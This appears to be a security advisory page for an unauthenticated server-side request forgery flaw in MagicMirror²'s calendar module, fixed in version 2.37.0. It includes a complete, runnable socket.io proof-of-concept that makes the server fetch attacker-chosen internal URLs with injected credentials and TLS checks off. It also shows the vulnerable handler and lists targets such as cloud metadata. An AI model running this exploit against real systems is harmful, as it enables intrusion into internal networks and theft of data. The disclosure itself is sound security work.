CVE-2026-63643: MagicMirror: ssrf calendar .js
Vulnerability — SSRF via ADDCALENDAR (MagicMirror² calendar) Analysis of the PoC exploit-ssrf-calendar.js. Target: calendar/nodehelper.js of MagicMirror², socket.io namespace /calendar. --- Identification Field Value -------------- PoC file exploit-ssrf-calendar.js Endpoint socket.io namespace /calendar, notification ADDCALENDAR Precondition reach the mirror's HTTP port (no authentication required) --- Description…
Published Aug 18, 2026
Affected packages
magicmirror
- Ecosystem
- npm
- Affected
- < 2.37.0
- Fixed in
- 2.37.0
- Check
npm ls magicmirror
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Vulnerability — SSRF via ADD_CALENDAR (MagicMirror² calendar)
Analysis of the PoC exploit-ssrf-calendar.js. > Target: calendar/node_helper.js of MagicMirror², socket.io namespace /calendar.
---
Identification
| Field | Value | | **PoC file** | `exploit-ssrf-calendar.js` | | **Endpoint** | socket.io namespace `/calendar`, notification `ADD_CALENDAR` | | **Precondition** | reach the mirror's HTTP port (no authentication required) |
---
Description
The ADD_CALENDAR handler in calendar/node_helper.js performs a server-side HTTP request to a URL that is fully attacker-controlled, with no SSRF protection whatsoever — unlike the project's hardened /cors endpoint.
Worse, the attacker also controls:
- the authentication headers the server attaches to the request (
auth: { method: "bearer", pass: "..." }); - the
selfSignedCertflag, which disables TLS verification of the server-side request.
When the target's response is valid iCal, the server parses the events and sends them back to the attacker via CALENDAR_EVENTS — turning the SSRF into full data exfiltration (response body read). Against non-iCal responses it remains a blind SSRF (the attacker still forces the server-side request, they just don't see the body).
---
Root cause: unauthenticated socket.io channel + permissive CORS
The socket.io server accepts connections from any origin and with no authentication:
const io = new Server(server, {
cors: { origin: /.*$/, credentials: true }
});The /calendar namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.
---
Exploit (exploit-ssrf-calendar.js)
const { io } = require("socket.io-client");
const TARGET = process.env.MM || "http://TARGET:8888";
const INTERNAL_URL = process.argv[2] || process.env.SSRF_URL || "https://webhook.site/";
const socket = io(`${TARGET}/calendar`, { path: "/socket.io", transports: ["websocket", "polling"] });
socket.onAny((event, payload) => {
if (event === "CALENDAR_EVENTS") {
console.log("\n[+] CALENDAR_EVENTS received from server (SSRF response exfiltrated):");
for (const ev of payload.events || []) {
console.log(" SUMMARY:", ev.title);
if (ev.title && ev.title.includes("FLAG{")) {
console.log("\n[!!!] SSRF SUCCESS - leaked secret from internal-only service:");
console.log(" " + ev.title);
process.exit(0);
}
}
} else if (event === "CALENDAR_ERROR") {
console.log("[-] CALENDAR_ERROR:", JSON.stringify(payload));
}
});
socket.on("connect", () => {
console.log(`[*] Connected to ${TARGET}/calendar (no auth required). socket id=${socket.id}`);
console.log(`[*] Forcing server-side fetch of internal target: ${INTERNAL_URL}`);
socket.emit("ADD_CALENDAR", {
url: INTERNAL_URL,
fetchInterval: 60000,
excludedEvents: [],
maximumEntries: 10,
maximumNumberOfDays: 3650,
auth: { method: "bearer", pass: "internal-admin-token" },
broadcastPastEvents: true,
selfSignedCert: true,
id: "pwn"
});
});
socket.on("connect_error", (e) => console.log("[-] connect_error:", e.message));
setTimeout(() => { console.log("\n[*] timeout, exiting"); process.exit(1); }, 20000);---
Vulnerable target code (pattern)
socketNotificationReceived(notification, payload) {
if (notification === "ADD_CALENDAR") {
const fetcher = new CalendarFetcher(
payload.url,
payload.fetchInterval,
payload.excludedEvents,
payload.maximumEntries,
payload.maximumNumberOfDays,
payload.auth,
payload.broadcastPastEvents,
payload.selfSignedCert
);
fetcher.fetchCalendar();
}
}---
Impact
- Reading internal services unreachable from the attacker's network (cloud metadata
169.254.169.254, admin panels on127.0.0.1, services on the private network). - Body exfiltration when the response is iCal (the PoC searches for
FLAG{...}in event titles). - Confused deputy / credential injection: the server attaches an attacker-controlled
Authorization: Bearer ...header, allowing it to forge/replay credentials against the internal target. - TLS bypass via
selfSignedCert: true. - Internal port scanning through error/timing differences.
---
Credited to gabrie0x6c.
References
- https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-w6x9-28jw-hq7j
- https://github.com/MagicMirrorOrg/MagicMirror/pull/4169
- https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f
- https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0
- https://github.com/advisories/GHSA-w6x9-28jw-hq7j
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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